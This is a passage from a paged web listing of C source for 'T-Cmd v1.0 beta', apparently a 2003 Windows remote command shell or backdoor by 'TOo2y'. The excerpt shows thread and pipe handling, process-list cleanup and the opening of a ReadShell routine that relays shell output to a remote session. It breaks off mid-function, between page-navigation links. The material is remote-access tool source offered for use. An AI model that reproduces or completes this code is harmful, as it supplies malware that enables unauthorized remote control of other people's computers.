|
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2))) { dwResult-=WAIT_OBJECT_0; if(dwResult!=0) { TerminateProcess(hThread[0],1); } CloseHandle(hThread[(dwResult+1)%3]); CloseHandle(hThread[(dwResult+2)%3]); }
CloseHandle(hWritePipe); CloseHandle(hReadPipe);
WaitForSingleObject(hMutex,INFINITE); lpProcessDataLast=NULL; lpProcessDataNow=lpProcessDataHead; while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId)) { lpProcessDataLast=lpProcessDataNow; lpProcessDataNow=lpProcessDataNow->next; } if(lpProcessDataNow==lpProcessDataEnd) { if(lpProcessDataNow->dwProcessId!=dwProcessId) { OutputDebugString("No Found the Process Handle !\n"); } else { if(lpProcessDataNow==lpProcessDataHead) { lpProcessDataHead=NULL; lpProcessDataEnd=NULL; } else { lpProcessDataEnd=lpProcessDataLast; } } } else { if(lpProcessDataNow==lpProcessDataHead) { lpProcessDataHead=lpProcessDataNow->next; } else { lpProcessDataLast->next=lpProcessDataNow->next; } } ReleaseMutex(hMutex);
return 0; }
DWORD WINAPI ReadShell(LPVOID lpParam) { SESSIONDATA sdRead=*(PSESSIONDATA)lpParam; DWORD dwBufferRead,dwBufferNow,dwBuffer2Send; char szBuffer[BUFFER_SIZE]; char szBuffer2Send[BUFFER_SIZE+32]; char PrevChar; char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]--- << 上一页 [11] [12] [13] [14] [15] [16] [17] 下一页 |